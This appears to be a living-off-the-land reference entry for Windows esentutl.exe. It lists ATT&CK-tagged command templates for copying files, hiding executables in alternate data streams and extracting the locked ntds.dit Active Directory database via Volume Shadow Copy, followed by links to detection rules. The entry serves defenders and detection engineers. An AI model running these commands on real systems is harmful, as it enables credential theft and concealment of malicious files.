Esentutl.exe

Commands

1. CopyUser T1105

   Copies files from A to B

   esentutl.exe /y {PATH_ABSOLUTE:.source.vbs} /d {PATH_ABSOLUTE:.dest.vbs} /o

   Copies the source VBS file to the destination VBS file.

   os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

2. ADSUser T1564.004

   Copy file and hide it in an alternate data stream as a defensive counter measure

   esentutl.exe /y {PATH_ABSOLUTE:.exe} /d {PATH_ABSOLUTE}:file.exe /o

   Copies the source EXE to an Alternate Data Stream (ADS) of the destination file.

   os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

3. ADSUser T1564.004

   Extract hidden file within alternate data streams

   esentutl.exe /y {PATH_ABSOLUTE}:file.exe /d {PATH_ABSOLUTE:.exe} /o

   Copies the source Alternate Data Stream (ADS) to the destination EXE.

   os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

4. ADSUser T1564.004

   Copy file and hide it in an alternate data stream as a defensive counter measure

   esentutl.exe /y {PATH_SMB:.exe} /d {PATH_ABSOLUTE}:file.exe /o

   Copies the remote source EXE to the destination Alternate Data Stream (ADS) of the destination file.

   os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

5. DownloadUser T1564.004

   Use to copy files from one unc path to another

   esentutl.exe /y {PATH_SMB:.source.exe} /d {PATH_SMB:.dest.exe} /o

   Copies the source EXE to the destination EXE file

   os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

6. CopyAdmin T1003.003

   Copy/extract a locked file such as the AD Database

   esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d {PATH_ABSOLUTE:.dit}

   Copies a (locked) file using Volume Shadow Copy

   os: Windows 10, Windows 11, Windows 2016 Server, Windows 2019 Server

Detection

• Sigma https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_esentutl_params.yml
• Sigma https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_esentutl_webcache.yml
• Sigma https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/registry/registry_event/registry_event_esentutl_volume_shadow_copy_service_keys.yml
• Sigma https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_esentutl_sensitive_file_copy.yml
• Splunk https://github.com/splunk/security_content/blob/86a5b644a44240f01274c8b74d19a435c7dae66e/detections/endpoint/esentutl_sam_copy.yml
• Elastic https://github.com/elastic/detection-rules/blob/f6421d8c534f295518a2c945f530e8afc4c8ad1b/rules/windows/credential_access_copy_ntds_sam_volshadowcp_cmdline.toml

Resources

• https://twitter.com/egre55/status/985994639202283520
• https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/
• https://twitter.com/bohops/status/1094810861095534592